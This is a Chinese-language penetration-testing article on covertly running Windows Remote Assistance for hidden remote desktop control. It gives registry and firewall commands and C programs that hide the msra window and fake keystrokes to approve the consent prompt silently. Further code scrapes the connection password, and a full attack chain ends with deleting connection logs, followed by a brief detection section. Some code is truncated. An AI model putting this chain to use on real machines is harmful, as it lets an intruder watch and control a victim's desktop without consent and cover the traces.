當前位置:
首頁 > 最新 > 滲透技巧——Windows遠程協助的隱蔽執行

滲透技巧——Windows遠程協助的隱蔽執行

安全脈搏獨家發文,如需轉載,請先聯繫授權。

0x00 前言

對於Windows系統,經常會用到遠程桌面服務,通過界面對系統進行遠程管理。

這其中存在一個不足:使用遠程桌面服務進行遠程登錄(使用另一用戶或是踢掉當前用戶),無法獲取到當前用戶的系統狀態。

如果想要查看(甚至是操作)當前用戶的桌面,有什麼好辦法呢?

雖然我們可以通過編寫程序來實現界面操作(捕獲桌面信息,壓縮傳輸,發送滑鼠鍵盤消息等),但是如果能夠使用Windows系統的默認功能,豈不是更好?

答案就是Windows系統的遠程協助。

0x01 簡介

本文將要介紹以下內容:

遠程協助的基本操作

命令行下操作

編寫c++程序隱藏界面,發送鍵盤消息,模擬用戶點擊確認

完整利用流程

檢測方法

0x02 遠程協助的基本操作

①開啟遠程協助功能

`System Properties`->`Remote`

選中`Allow Remote Assistance connections to this computer`,如下圖

②添加防火牆規則,允許遠程協助的通信埠

`Windows Firewall`->`Allowed Programs`

選中`Remote Assistance`,如下圖

③啟動界面程序

運行 ->`msra.exe`

④配置本機為服務端,請求其他人協助

選中`Invite someone you trust to help you`,如下圖

選中`Save this invitation as a file`,如下圖

保存為文件`Invitation.msrcincident`

自動彈出界面,生成一個隨機密碼,記錄該密碼,如下圖

⑤控制端發起遠程連接

控制端運行文件`Invitation.msrcincident`,填入上一步生成的密碼,發起遠程連接

⑥服務端確認連接請求

服務端彈框,需要用戶確認,允許遠程協助,如下圖

選擇Yes,遠程協助成功建立

0x03 命令行下操作

①開啟系統遠程協助

修改註冊表項`HKLMSYSTEMCurrentControlSetControlRemote Assistance`下的鍵值`fAllowToGetHelp`,1代表允許,0代表禁止

REG ADD "HKLMSYSTEMCurrentControlSetControlRemote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

②配置防火牆規則,允許遠程協助的通信埠

netsh advfirewall firewall set rule group="Remote Assistance" new enable=Yes

③創建遠程協助文件,後台等待用戶連接

msra /saveasfile c: est1.msrcIncident 123456789012

保存文件路徑為`c: est1.msrcIncident`,連接密碼為`123456789012`

0x04 編寫c程序隱藏界面,發送鍵盤消息,模擬用戶點擊確認

①隱藏msra.exe的界面

獲得窗口句柄,將窗口屬性設置為隱藏

需要注意不同語言的系統中msra.exe的窗口標題不同,例如中文系統的窗口標題為`Windows 遠程協助`,英文系統的窗口標題為`Windows Remote Assistance`

可以先對當前系統語言作判斷,接著尋找對應的窗口標題

為了使界面完全隱藏,需要加入循環判斷,只要找到msra.exe的窗口立即對其隱藏

可供參考的代碼如下:

#include

int main()

{

char *Title = NULL;

LANGID lid = GetSystemDefaultLangID();

printf("[*]LanguageID:0x%04x
",lid);

switch (lid)

{

case 0X0804:

printf("[*]Language:Chinese
",lid);

Title = "Windows 遠程協助";

break;

case 0x0409:

printf("[*]Language:Englisth
",lid);

Title = "Windows Remote Assistance";

break;

}

for(int i=0;i

{

HWND hwnd = FindWindow(NULL, Title);

ShowWindow(hwnd, SW_HIDE);

Sleep(100);

}

}

編譯生成`msra-hide.exe`

②模擬輸入鍵盤消息,左箭頭(

正常情況下,控制端成功輸入密碼後,服務端會彈框提示用戶是否允許遠程協助

這裡通過程序實現模擬用戶輸入,選中`Yes`,對應的鍵盤操作為左箭頭(

代碼如下:

#include

int main()

{

char *Title = NULL;

LANGID lid = GetSystemDefaultLangID();

printf("[*]LanguageID:0x%04x
",lid);

switch (lid)

{

case 0X0804:

printf("[*]Language:Chinese
",lid);

Title = "Windows 遠程協助";

break;

case 0x0409:

printf("[*]Language:Englisth
",lid);

Title = "Windows Remote Assistance";

break;

}

HWND hwnd = FindWindow(NULL, Title);

SetActiveWindow(hwnd);

SetForegroundWindow(hwnd);

SetFocus(hwnd);

keybd_event(37,0,0,0);

keybd_event(37,0,KEYEVENTF_KEYUP,0);

keybd_event(13,0,0,0);

keybd_event(13,0,KEYEVENTF_KEYUP,0);

}

編譯生成`msra-allow.exe`

③擴展:獲得遠程協助窗口的連接密碼

通過枚舉子窗口獲得連接密碼

使用API FindWindow獲得窗口句柄

使用API EnumChildWindows遍歷窗口所有子窗口,獲得密碼內容

API EnumChildWindows會自動枚舉,直至獲得最後一個子窗口或者函數返回0

實際測試發現第二個子窗口保存密碼,所以在獲得密碼後函數返回0提前結束枚舉

代碼如下:

#include

int status = 0;

BOOL CALLBACK EnumMainWindow(HWND hwnd, LPARAM lParam)

{

const int BufferSize = 1024;

char BufferContent[BufferSize] = "";

SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);

status++;

if (status == 2)

{

printf("[+]Find Password
");

printf("%s
", BufferContent);

return 0;

}

return 1;

}

int main()

{

char *Title = NULL;

LANGID lid = GetSystemDefaultLangID();

printf("[*]LanguageID:0x%04x
",lid);

switch (lid)

{

case 0X0804:

printf("[*]Language:Chinese
",lid);

Title = "Windows 遠程協助";

break;

case 0x0409:

printf("[*]Language:Englisth
",lid);

Title = "Windows Remote Assistance";

break;

}

HWND hwnd = FindWindow(NULL, Title);

if(hwnd)

{

printf("[+]Find Window
");

EnumChildWindows(hwnd, EnumMainWindow, 0);

}

else

{

printf("[!]No Window
");

}

}

測試如下圖

## 0x05 完整利用流程

①、開啟遠程協助

REG ADD "HKLMSYSTEMCurrentControlSetControlRemote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

netsh advfirewall firewall set rule group="Remote Assistance" new enable=Yes

②運行攔截程序msra-hide.exe,隱藏msra窗口

需要管理員許可權

③生成遠程協助邀請文件

msra /saveasfile c: est1.msrcIncident 123456789012

④控制端進行連接

獲得文件`1.msrcIncident`並執行,輸入連接密碼

⑤運行模擬鍵盤輸入程序msra-allow.exe,允許遠程協助

需要管理員許可權

⑥控制端獲得遠程協助的桌面

如下圖

⑦控制端請求獲得服務端的滑鼠操作許可權

在控制界面選擇`請求控制`

⑧再次運行模擬鍵盤輸入程序msra-allow.exe,允許滑鼠操作

需要管理員許可權

控制端成功獲得控制服務端滑鼠

至此,成功獲得目標系統的桌面操作許可權

⑨清除連接記錄

遠程協助的記錄保存位置:`%SystemDrive%Usersuser_nameDocumentsRemote Assistance Logs`

命名規則:`YYYYMMDDHHMMSS.xml`(24小時時間格式)

日誌文件內保存連接時間

## 0x06 檢測方法

本文介紹的方法前提是已經取得了系統的管理員許可權,代表該系統已經被攻破

結合利用思路,可以通過以下方法檢測:

-註冊表`HKLMSYSTEMCurrentControlSetControlRemote Assistance`鍵值被修改

防火牆規則被修改

啟動進程msra.exe

生成新文件夾`%SystemDrive%Usersuser_nameDocumentsRemote Assistance Logs`

開放的異常埠

## 0x07 小結

本文對Windows遠程協助的功能進行了介紹,編寫程序實現Windows遠程協助的隱蔽執行,結合利用思路給出檢測方法。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 SecPulse安全脈搏 的精彩文章:

挖礦軟體自帶清除競爭對手功能

TAG:SecPulse安全脈搏 |